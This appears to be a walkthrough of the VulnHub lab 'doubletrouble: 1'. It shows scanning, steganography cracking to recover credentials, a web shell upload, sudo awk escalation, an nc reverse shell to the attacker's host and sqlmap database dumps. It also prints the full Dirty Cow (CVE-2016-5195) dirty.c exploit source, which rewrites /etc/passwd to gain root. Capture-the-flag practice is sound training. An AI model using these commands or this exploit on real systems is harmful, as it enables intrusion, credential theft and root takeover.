Target Machine Download: doubletrouble: 1
Prerequisites#
Target machine network in NAT mode
If you cannot detect the target machine IP while scanning the IP range, refer to this article:
vulnhub target machine IP address detection solution
1. Information Gathering
Use netdiscover to scan the IP range
netdiscover -r 192.168.23.0/24
Detected IP: 192.168.23.136
Nmap scan ports
nmap -p- 192.168.23.136
Open ports 22, 80
Access the homepage
Found using qdPM version 9.1, vulnerabilities such as RCE and SQL injection can be found on exploit-db
Dirb scan directories
dirb http://192.168.23.136/
Found an image doubletrouble.jpg in the secret directory
Use stegseek to crack
The dictionary used is kali's built-in rockyou.txt, located at /usr/share/wordlists/rockyou.txt.gz, extract and use
Kali attempted to install stegseek multiple times unsuccessfully, switched to docker execution, specific reference can be found at Stegseek, Docker Desktop needs to be installed on Windows first
docker run --rm -it -v "$(pwd):/steg" rickdejager/stegseek [stegofile.jpg] [wordlist.txt]
This command cannot be executed directly in Windows cmd, change to the full path
docker run --rm -v "C:\Users\Mikiya\Desktop:/steg" rickdejager/stegseek /steg/doubletrouble.jpg /steg/rockyou.txt
Here C:\Users\Mikiya\Desktop is the location where I store the two files, which are the image and the dictionary. Opening the output file with Notepad yields the account password
otisrush@localhost.com
otis666
2. Penetration
Log into the system, find the exploitation point in my details, upload a web shell file, access the upload path /uploads/users/
Use AntSword to connect
Privilege Escalation
Found that the awk command can be run with sudo
sudo awk 'BEGIN {system("/bin/bash")}' for privilege escalation
AntSword cannot directly escalate privileges, can use nc to reverse shell for privilege escalation
Kali listens on port: nc -nvlp 9999
AntSword runs: nc -e /bin/bash 192.168.23.134 9999
Privilege Escalation Command
Using local terminal operations is more convenient
python3 -c 'import pty;pty.spawn("/bin/bash")'
Found another virtual machine in the root directory
Use nc to transfer files
Kali terminal: nc -lvvp 8888 > doubletrouble.ova
Target machine terminal: nc 192.168.23.134 8888 < doubletrouble.ova
Import the VM into the target machine, probe the host IP, open ports 22, 80
Access port 80
Directly run sqlmap
sqlmap -u http://192.168.23.137/index.php -forms --dbs --batch
Found two databases
Sequentially obtain table names and data
sqlmap -u "http://192.168.23.137/index.php" \
--data="uname=AqUH&psw=Kgjz&btnLogin=Login" \
--dbms=mysql \
--tables -D doubletrouble \
--batch
sqlmap -u "http://192.168.23.137/index.php" \
--data="uname=AqUH&psw=Kgjz&btnLogin=Login" \
--dbms=mysql \
--batch \
--dump -D doubletrouble -T users
Obtained the following information
GfsZxc1, montreux
ZubZub99, clapton
Use the second account to ssh login and obtain the first flag
Since it is ordinary permissions, continue to escalate privileges, check the kernel version
There is a Dirty Cow privilege escalation vulnerability
Dirty Cow (CVE-2016-5195) Linux local privilege escalation vulnerability reproduction
Use the dirty.c script for privilege escalation dirty.c
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
char *plaintext_pw;
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
Kali creates an HTTP server
python -m http.server 80
The target machine uses the wget command
wget http://192.168.23.130/dirty.c
Follow the author's instructions to use gcc for privilege escalation
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
Successfully obtained root, found the second flag in the root directory
Summary#
Tools used: nmap to scan IP ports, dirb to scan directories, stegseek to crack images, nc to transfer files, AntSword, sqlmap to crack databases, script for privilege escalation
sudo awk 'BEGIN {system("/bin/bash")}' for privilege escalation
The problem-solving process of this article comes from DOUBLETROUBLE: 1 and vulnhub target machine--DoubleTrouble